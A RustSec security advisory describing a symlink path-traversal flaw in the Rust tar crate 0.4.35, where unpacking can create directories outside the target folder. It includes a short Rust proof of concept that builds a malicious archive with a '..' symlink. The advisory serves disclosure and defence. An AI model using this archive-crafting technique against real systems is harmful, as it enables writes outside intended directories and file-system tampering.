RUSTSEC-2021-0080: Links in archive can create arbitrary directories

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Links in archive can create arbitrary directories

Details
Package	tar
Version	0.4.35
URL	alexcrichton/tar-rs#238
Date	2021-07-19

When unpacking a tarball that contains a symlink the tar crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This issue was discovered and reported by Martin Michaelis (@mgjm).

See advisory page for additional details.